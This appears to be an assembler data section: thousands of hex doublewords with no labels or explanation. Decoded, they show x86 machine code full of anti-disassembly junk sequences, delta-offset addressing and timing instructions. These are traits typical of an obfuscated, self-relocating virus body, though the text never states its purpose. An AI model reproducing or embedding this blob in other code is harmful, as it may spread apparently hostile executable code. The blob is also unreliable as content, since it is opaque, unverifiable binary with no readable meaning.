dd 681h, 29852900h, 0BA05E92Dh, 6, 1F359D8Bh, 0C18B05E9h
dd 49BBD98Bh, 0C1390DD5h, 8D0904E8h, 5E9123Dh, 8BE2F766h
dd 0E92F65BDh, 66C82B05h, 0D18BDE8Bh, 0C870Fh, 840F0000h
dd 6, 7019D89h, 0A1E905E9h, 29000000h, 0E9173D9Dh, 50858B05h
dd 8B47554Ch, 0E91E9DBDh, 55853105h, 8305E925h, 5F5707C0h
dd 31359D8Bh, 0C08305E9h, 0E3816600h, 0D03BA7CFh, 14830Fh
dd 0B5290000h, 5E92825h, 0E9D88B66h, 60h, 80D8D89h, 8D8B05E9h
dd 0FFFFFFFFh, 11E9h, 0DA648200h, 480086CAh, 6D3610FEh
dd 83364E52h, 0E18364F6h, 35840F01h, 81000000h, 264C2FEFh
dd 0FFA58306h, 0FEFFFFFFh, 0B299D23h, 958905E9h, 47554C50h
dd 0DE8h, 2B7B8E00h, 45CA1387h, 472C0AAEh, 0BF6635B5h
dd 0E95B8FA9h, 0
dd 760AB58Dh, 6A05EDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 860FB3C3h, 6, 2B9D9589h, 6A05E9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EBC35242h
dd 0EC75106h, 0BD9D237Ah, 0FF05E907h, 0E91E9595h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 46EE5015h, 0E8E804C5h, 12h, 8C5C7778h, 0CE23C96Ch, 46997B04h
dd 0E838F98Eh, 9D8B0445h, 5E91DADh, 7185895Fh, 0B905E91Fh
dd 0FA9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0D9C35141h, 75086E98h, 8B664797h, 83DF8BDEh, 9D8BFCE1h
dd 5E91629h, 0CE8h, 3E0C9800h, 0C0CA44C6h, 14FE6426h, 0CE8D1h
dd 6C5A0000h, 552D1A5Fh, 0A7F371EEh, 7E83B3Fh, 25000000h
dd 3A380BEAh, 5F5FB704h, 6AFC5Fh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0B8459BC3h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4CC35141h
dd 0FB41BBA4h, 0D22B0E4Ch, 2755B589h, 33AD05E9h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 732F19C3h, 89600837h, 0E90031BDh
dd 0E8816605h, 6661D6F8h, 8AB3C781h, 0F880F52h, 0E9000000h
dd 0Ah, 14428D92h, 0E4ED9185h, 0D5BF8E9h, 88h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h, 0BD8B8264h
dd 5E90E59h, 8BFEBF0Fh, 0E9265595h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E528C2A3h
dd 8D8B1502h, 5E90805h, 5608F8BBh, 0C28B5068h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 633C350h
dd 0D8DB3AE9h, 0D3811268h, 6148EDCh, 9E9h, 0CE757900h
dd 0A9862546h, 81668101h, 83987EEFh, 0E91CF1BDh, 840F0005h
dd 83h, 58F0Fh, 0AEBF0000h, 0B85FBD30h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h
dd 0E8205619h, 6, 76B120B9h, 8D5FFA44h, 0E94E6D8Dh, 50006A05h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0C266D1D5h, 0CCF7C10Dh, 6E8h, 4EF2E00h, 0F3F80CAh, 681h
dd 0B9858900h, 5B05E92Fh, 8166E1FFh, 83D81EE7h, 0E9163DBDh
dd 840F0005h, 3A0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0D0C35343h, 2C792D36h, 58B0Fh, 6BBF0000h
dd 8B1B6FB1h, 0E910EDBDh, 3DBD8305h, 105E916h, 37D840Fh
dd 81660000h, 83081ECFh, 0E9163DBDh, 860F0305h, 335h, 3511BF66h
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0F88B39C0h, 8BD98C66h, 0E91F11BDh, 4E18005h
dd 0C90ADE8Ah, 123840Fh, 81660000h, 8BC596CBh, 0E9286985h
dd 0DF816605h, 8533AA09h, 5E90E61h, 409BD0Bh, 669005E9h
dd 8A50D88Bh, 6A90FDh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 9C7087C3h, 26799589h, 9D8B05E9h
dd 5E92375h, 0BF66006Ah, 12E99B1Dh, 9B000000h, 0D6FF261Dh
dd 1F6F264Dh, 0E727028Fh, 866EEEC8h, 4E8ECh, 3FF0000h
dd 57BF001Fh, 50440D5Fh, 728C52BFh, 24448B2Dh, 0AE804h
dd 27260000h, 36162C4Bh, 2057A75Bh, 0DE8A5250h, 5F51310Fh
dd 8B5B585Ah, 0BA666000h, 0E9563C4Ah, 9, 0A633F7CEh, 416DBFEBh
dd 89615886h, 8B042444h, 816658F8h, 0FFE8DDEBh, 0E9292D95h
dd 9E905h, 7F660000h, 11C49959h, 8993AEECh, 0ECBACE85h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0EA7B9F24h, 18EE9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 81F065D1h
dd 96B12FEFh, 0C6858B19h, 8B05ECBAh, 0E90CD9BDh, 50BB6605h
dd 1800C730h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0F2CC356h, 0B58BF8BFh
dd 5ECBACAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 8AC35646h, 8194247Ch, 5DBD8B10h, 8B05E930h, 0E92F3985h
dd 7D9D8B05h, 8105E907h, 0BD313DE7h, 6A068924h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0ED02C351h, 432C4657h, 44D0624Ch, 8B9CB7F5h, 0E9286985h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 89D88B1Bh, 0A9BF0446h, 9609CE77h, 1A3830BBh
dd 0D88B5015h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 870F2E1Ch, 6, 0EE1BD33h
dd 8D8905E9h, 5E91061h, 0BAC6B5FFh, 0BF6605ECh, 3D68AB79h
dd 6688189Fh, 481FE8Bh, 664C224h, 7DBD8978h, 8D05E923h
dd 0ECBACE85h, 0D5BD0B05h, 0E905E904h, 0Ah, 8D525289h
dd 0BF5DFB82h, 66900FEFh, 0E950DE8Bh, 0Bh, 0A788B74Ch
dd 58E6E93Ah, 90C566DAh, 1FAD9D8Bh, 8D8905E9h, 5E92B89h
dd 292D95FFh, 816605E9h, 618A0BF7h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 37C35747h, 0C7E4CF80h, 0E9163D85h
dd 305h, 17BF6600h, 0CEBD836Bh, 5ECBAh, 33840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0B589EBC3h, 5E92F99h, 9745DF81h, 21E90A5Eh, 31000000h
dd 0E901F58Dh, 0C305005h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 3899D8Bh, 6A05E9h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD83BAC3h
dd 5E9163Dh, 0EF850F03h, 81000003h, 0D3A2F5CBh, 0DFBF0F51h
dd 0BACEBD83h, 0F0005ECh, 3D984h, 8E900h, 0BE270000h, 212EAB9Eh
dd 0B5FF038Ch, 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 63C35343h, 24F2E71h, 0D9098C67h, 7595FFEDh
dd 5705E92Bh, 2B298589h, 895F05E9h, 0E901D595h, 0C2B58B05h
dd 8B05ECBAh, 0E93175BDh, 106C705h, 33000100h, 0E9191D9Dh
dd 0FB8B5005h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 405AC352h, 0A327CEC4h
dd 574D4182h, 78B7C9BBh, 0CEB5FF51h, 6A05ECBAh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0DA17C353h, 4D95FFF5h, 6A05E92Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 458EC353h
dd 0C5B652Ah, 0E8914F93h, 14h, 0DF698791h, 912E5BCFh, 3A4B9540h
dd 0CA37D555h, 0C2241F1h, 0BD8B5BF5h, 5E92D71h, 0BAC2B58Bh
dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 96026CC3h, 0DD858B82h, 6A05E90Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 1967C351h, 97B09758h, 0BFD3A4D8h, 0C48689h, 0CE80000h
dd 7F000000h, 0EF4E9D30h, 0DFC05924h, 0F8C06DCh, 8B5BFEBFh
dd 0E9265595h, 6890F05h, 81000000h, 9D33E5C3h, 4C28344h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 73C35040h
dd 3996ABA6h, 9D8B472Eh, 5E92B65h, 6A205089h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 5E99C351h, 0D055858Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 5748F6C3h, 765BD8Bh
dd 895B05E9h, 0B886h, 8BDF8B00h, 0E917B19Dh, 89006A05h
dd 0E911558Dh, 5BF6605h, 0CEB5FF21h, 6A05ECBAh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8910C357h, 0E928DD9Dh, 0AD95FF05h, 6A05E900h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0A8DAC350h, 8BBE38FFh, 0F88B96DFh, 13E850h, 3C0A0000h
dd 0DBB90A5Dh, 0E010CD1h, 392F7F4Ch, 8288F25h, 0BB965B7Fh
dd 2853D79Dh, 0BACEB5FFh, 37B705ECh, 323195FFh, 0BE805E9h
dd 4D000000h, 0BC8FA46h, 3CAB9466h, 8589596Ch, 5E92B19h
dd 83DC8A5Fh, 0E92AB1BDh, 840F0005h, 6Ch, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h, 3015966Fh
dd 0D41ABBD3h, 895751C6h, 0E910D18Dh, 50965F05h, 0F310F52h
dd 68Ah, 0F525000h, 5A585A31h, 0B7505058h, 6A965F5Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 56FAC356h, 0E029D683h, 0F9067BFBh, 0BACEB5FFh, 0BB6605ECh
dd 95FFA941h, 5E92F61h, 120EBB66h, 0BACEB5FFh, 0FA8B05ECh
dd 2DC595FFh, 8B6605E9h, 0FDBD83FBh, 205E903h, 76840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0AD6ED7C3h, 0BB7B7E93h
dd 40CF81AFh, 8B14D097h, 0E9305585h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 837B66E8h
dd 909B1A65h, 1DBB41DCh, 0C6509B81h, 0EE80000h, 4F000000h
dd 0B9DB2197h, 95D9612Ah, 20DA1A9Ah, 0D9D8B08h, 5F05E90Bh
dd 27A985C7h, 5E9h, 0B7510000h, 7CE95F8Dh, 81FFFFF3h, 7D48EF7h
dd 0FC18B39h, 680h, 0B5BD8900h, 8D05E92Dh, 0E921E585h
dd 68C0F05h, 8B000000h, 0E916DD9Dh, 66605005h, 0D08BCB8Bh
dd 24048961h, 6AFEBF0Fh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 89D5F0D4h, 0E92B899Dh
dd 0BB006A05h, 5CD00080h, 499858Dh, 9E905EEh, 38000000h
dd 0DE6FBFDDh, 7AE4E801h, 8B05C083h, 0E9101D9Dh, 52505005h
dd 11E8310Fh, 0CF000000h, 0BAC9956Eh, 0A3DD5469h, 0AD353130h
dd 0A7A9168h, 8D0Fh, 5A5B0000h, 24048958h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 36C35747h, 79C8D8BBh
dd 7E8D6F1h, 0E9000000h, 0BC149BDEh, 9D8B4616h, 5E92951h
dd 6AF55Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 10C35242h, 69219576h, 5E57F521h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0A11173C3h, 0F0AF7DFh, 158Eh, 10E900h, 3E940000h, 0E968151Eh
dd 55D29C04h, 18A68EBDh, 95FFF083h, 5E90AA1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 33C35646h, 0D6B5BE2Ch
dd 89588B3Bh, 0BF8D8D4Fh, 8905ECADh, 0E92E7D8Dh, 6AD1FF05h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0D384C356h, 0E18D891Fh, 8305E92Ah, 0E901BDBDh
dd 850F0105h, 82h, 7E8h, 0A2E4D000h, 7AAA2B60h, 2D299D33h
dd 6A5F05E9h, 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0E53E9D20h, 60B142D8h, 0B70F5E20h
dd 525090DAh, 0FB1848BBh, 0F310F59h, 28Eh, 5AFC8A00h, 0BB665058h
dd 66909DF9h, 95FFF98Bh, 5E900ADh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0F2C35747h, 0FC50B333h, 60E9DE8Bh
dd 0E800000Eh, 0
dd 0A3ED815Dh, 3305EE04h, 0E90E05BDh, 0B5B58905h, 6A05E906h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 12F6C355h, 9D898EC1h, 5E921BDh, 858DDA8Ah
dd 5EC904Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0A1C35141h, 38AC54B2h, 9882D825h, 26FD8589h, 0E89005E9h
dd 7, 0F8F4296h, 50CF83C5h, 0F525052h, 0F585A31h, 5F585A31h
dd 12E96050h, 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h
dd 3899E579h, 0F18B6008h, 14E8h, 2A3A9E00h, 8B46BCE4h
dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 61615AD4h, 51006A90h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 8A31DF0Bh, 9D317034h, 5E900D5h, 35FF64h, 89000000h
dd 0E91E858Dh, 4D9D8B05h, 6405E900h, 2589h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0D89AE3C3h, 298BCA91h, 68985FFh, 8F0F05E9h, 6, 307DBD23h
dd 0FF6A05E9h, 5E9h, 0D0CD9900h, 0B70FA979h, 0E9B5FFD8h
dd 0E805E91Eh, 6, 76575DE3h, 8D29B092h, 5E90E59h, 0C995FF5Fh
dd 0E905E907h, 0E5h, 6800Fh, 9D8B0000h, 5E9090Dh, 0ADD9589h
dd 0B005E9h, 68B770E6h, 816071E4h, 67E285D2h, 613C617Bh
dd 0BB830Fh, 85290000h, 5E92F81h, 80C8B60Fh, 6BA03CBh
dd 0F000000h, 0C18BD9BFh, 1D69BD8Bh, 0E8C105E9h, 6D852904h
dd 6605E904h, 8B60E2F7h, 0CA48BBC6h, 2B616FF8h, 0D1BD8BC8h
dd 8B05E92Dh, 0CE8D1h, 98140000h, 5C291AE3h, 3077DCFEh
dd 3352E585h, 0E924CDBDh, 0E95B5B05h, 61h, 22EDB501h, 858B05E9h
dd 44004E49h, 83DBBF0Fh, 83F907C0h, 8D2900C0h, 5E90B59h
dd 830FD03Bh, 0Ah, 36E9FA8Bh, 66000000h, 8D8BD98Bh, 0FFFFFFFFh
dd 0F01E183h, 2484h, 259D8B00h, 8305E92Bh, 0FFFFFFA5h
dd 0F781FEFFh, 52961376h, 4E499589h, 9D8B4400h, 5E93269h
dd 0E9h, 0B3B58D00h, 6A05ED85h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0CF2FC356h, 0E1DB69ABh
dd 800Fh, 56600000h, 895B6160h, 0E9043595h, 0F3806105h
dd 6A006A80h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0FF53C356h, 0EF0F59FDh, 24EB35DFh
dd 0BC19529h, 95FF05E9h, 5E91E95h, 31F19589h, 0B5B905E9h
dd 6A00000Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0CAB1C356h, 58DE942Bh, 891DA462h
dd 0E90D5D9Dh, 83DE8B05h, 8960FCE1h, 0E9246585h, 61EA8A05h
dd 89B589FCh, 0B805E904h, 0
dd 0D22BF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 58C35747h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FFA8B66h
dd 582h, 8DA1BB00h, 880D0218h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66E4C355h
dd 8BB618BFh, 0E9265595h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0EAB4530Ah
dd 742C1184h, 8D8BD6E5h, 5E90805h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 95C35646h, 0AA327D20h, 11A0377Bh
dd 0D88B66B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0DF815818h, 60D7CD63h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 1CC35040h, 5DCC62B0h, 0E81CBA5Ah, 0Dh
dd 0BC5EEEh, 840B76EEh, 0EB544F90h, 0BE965h, 7B270000h
dd 5FDA4392h, 6E2F1E38h, 0BD835B35h, 5E91CF1h, 4D840F00h
dd 0B7000000h, 71CFBF3Dh, 0B8245Ch, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 3FDEC353h, 0BF9BD8Bh, 8D8D05E9h, 5E94E6Dh, 0C70319BBh
dd 33E1FF19h, 0E924519Dh, 6E905h, 75DA0000h, 52C57CE1h
dd 163DBD83h, 0F0005E9h, 45884h, 66DFB700h, 26DBD381h
dd 163DBD83h, 0F0105E9h, 45F84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0B6DB81B8h
dd 8079B826h, 0BD8B5CC3h, 5E90EEDh, 163DBD83h, 0F0305E9h
dd 3F186h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 60BDDA49h, 66C0E780h, 8166D98Ch
dd 80E76FC7h, 8C0F04E1h, 6, 1E98D89h, 0C90A05E9h, 147840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0B0BBBC3h, 0A595893Bh, 8B05E90Ch, 0E9286985h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 8AF63173h, 9B0FC5D3h, 9E8h, 0C5D42F00h
dd 0DBC60F3Ah, 11E86084h, 2C000000h, 81674D51h, 888DD0E1h
dd 2646A7Dh, 84EEFEDEh, 27D5BD2Bh, 5B5F05E9h, 0E618533h
dd 6E905E9h, 0C8000000h, 0F18C4FD8h, 8B579013h, 66505FD8h
dd 6A90DE8Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 663BC382h, 44748D84h, 0BD8916D0h
dd 5E93215h, 18F0Fh, 68F50000h, 52F9735h, 17E470BBh, 2434812Ch
dd 53094CAh, 0C018589h, 95FF05E9h, 5E9292Dh, 2A19D03h
dd 858905E9h, 5ECBACEh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0A2C35646h, 0C14C389Dh, 0F527D00h, 682h
dd 9BD8B00h, 0E905E92Fh, 21Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0C1C35343h, 0E123BBBFh, 0C6858B60h
dd 0F05ECBAh, 0C7FBB7h, 18h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 7CC35242h, 7ACD17Bh, 8B4BDDACh
dd 11E9DEh, 94820000h, 79AB3F17h, 307C16C2h, 0AE0522D0h
dd 8B4D12CAh, 0ECBACAB5h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0E7810E9Ah
dd 5A48A0FEh, 31859D0Bh, 858B05E9h, 5E92F39h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B4C35242h, 0F9129E67h
dd 8D2908B4h, 5E92679h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 301A78C3h, 8DAD982Eh
dd 8D89D783h, 5E90265h, 31DD9D8Bh, 858B05E9h, 5E92869h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0D7C35545h
dd 6E99563h, 85000000h, 1969097Ch, 23A7BBFAh, 46894A78h
dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0AD972BEBh, 8051C2C2h, 0EB812EF7h, 3C0F473Eh
dd 52505096h, 83A4B960h, 5A537115h, 5A310F61h, 0BF669658h
dd 9D8BEF09h, 5E929F1h, 0BAC6B5FFh, 6A05ECh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 0A051A9C3h
dd 0BF0F6A2Bh, 0AA0A68FAh, 8B669ECBh, 240481D9h, 615359F5h
dd 2FE59D01h, 858D05E9h, 5ECBACEh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 0E9C35646h, 64844FC0h, 7E990h
dd 0AD520000h, 0FCB7208Fh, 339050B2h, 0E91CBD9Dh, 0F98B6605h
dd 292D95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 6680D2C3h, 361FB8Bh, 0E932859Dh
dd 3D85C705h, 305E916h, 80000000h, 0BD83BCCBh, 5ECBACEh
dd 4F840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0AD5C356h, 8F7BA2A1h
dd 43E92Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0B5D6D7C3h, 0C5E9FBFEh, 0C38166FDh
dd 305034D5h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 6A7D67h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 72580EC3h, 8DBD899Eh
dd 8B05E91Dh, 0E9057DBDh, 3DBD8305h, 305E916h, 49C850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 8347DAC3h, 6021BA51h, 0B9B7BFB0h, 0BD8301D4h
dd 5ECBACEh, 67840F00h, 0FF000004h, 0ECBACEB5h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0A7DEDD11h, 17879F20h, 9D8B5A18h, 5E925CDh, 2B7595FFh
dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0B000DEC3h, 41AB2746h, 7C60BF66h, 0C2B58BFCh
dd 8B05ECBAh, 0E919B99Dh, 820F5105h, 6, 0C818501h, 0C75F05E9h
dd 1000106h, 119D8B00h, 9605E90Fh, 58E0Fh, 63BF0000h, 503E6BBBh
dd 0DFB56050h, 14E8h, 0AE01200h, 0C13FCDCEh, 0DFFBF431h
dd 11187461h, 0FAF3CED8h, 5F615AF3h, 53006A96h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 896C004Ah
dd 0E92B01BDh, 0CEB5FF05h, 0E905ECBAh, 12h, 255699Dh, 0C7F25A25h
dd 5CD5F819h, 43F15CEAh, 95FF4AC3h, 5E92B4Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F8C35343h, 9E9h
dd 939FCC00h, 0BAB06490h, 81608E3Ah, 0D0E938CAh, 0E5858B75h
dd 6105E926h, 0BAC2B58Bh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 7C693C3h, 3818A5D6h
dd 0DD858B01h, 0F05E90Fh, 588h, 2BB1BF00h
dd 86894184h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 58C35242h, 1238B3FBh, 5B603283h, 7599BFB9h
dd 8BF907E4h, 0E9265595h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B271F17h
dd 0E90B49BDh, 4C28305h, 0FE31BBBFh, 20508955h, 41C84CBFh
dd 55858D55h, 0E905ECD0h, 0Fh, 0B3DE9184h, 555A46ADh, 805A23F5h
dd 89A6F02Fh, 0B886h, 499D8B00h, 6A05E931h, 0BA666000h
dd 850982C4h, 5E90479h, 0CEB5FF61h, 6A05ECBAh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 129C355h, 0A1FAA901h, 0FFD88B66h, 0E900AD95h, 7E805h
dd 3A100000h, 4D1EA6ACh, 0CE9DEh, 0EF9B0000h, 3D4E3B2Bh
dd 0C5EBEE7h, 335B4384h, 0E91EB5BDh, 8B665005h, 243489D9h
dd 7E8h, 0B5E78A00h, 0F3B24655h, 2699B589h, 0F5F05E9h
dd 688h, 619D8900h, 0FF05E91Dh, 0ECBACEB5h, 0A1DF8005h
dd 6800F60h, 89000000h, 0E92AD5BDh, 11D98105h, 61158C6Fh
dd 323195FFh, 14E905E9h, 79000000h, 62FC872Eh, 0DF1CC020h
dd 18DF5CD8h, 9ED49292h, 83B8D7E1h, 0E92AB1BDh, 840F0005h
dd 95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
dd 96C35242h, 498529h, 70B305E9h, 0E8525050h, 7, 1CFFAC69h
dd 0F4A0BECh, 80h, 310F5B00h, 13E9h, 0E4A37100h, 1812F757h
dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 3489585Ah, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 75B8AA71h, 979ED2C7h, 0D381C7A6h, 71457F6Bh, 0CD8D8960h
dd 0F05E931h, 38Eh, 4CCE8000h, 0CEB5FF61h, 6A05ECBAh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 3B1FC352h, 0C2EA8242h, 8D291EE9h, 5E91679h, 2F6195FFh
dd 9E905E9h, 0B4000000h, 0F541DAC5h, 5DA0D377h, 0BACEB5FFh
dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 9DA85C3h, 0E904C185h, 0B5BD8905h, 0FF05E932h
dd 0E92DC595h, 0BE805h, 7EEA0000h, 4029768Ch, 37C50BBDh
dd 68D0FBAh, 8B000000h, 0E911099Dh, 0BD835F05h, 5E903FDh
dd 38840F02h, 0FC000000h, 3055858Bh, 0B9BF05E9h, 0C618065Dh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 8B48E7C3h, 0E90E519Dh, 658D8905h, 0C705E91Fh
dd 0E927A985h, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 2C16B27Bh, 27E9C533h
dd 6AFFFFF3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 9B57C350h, 0B858A47Fh, 8BC247B3h
dd 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 179651C7h, 82C85B21h, 0E9BD8B28h, 8D05E905h
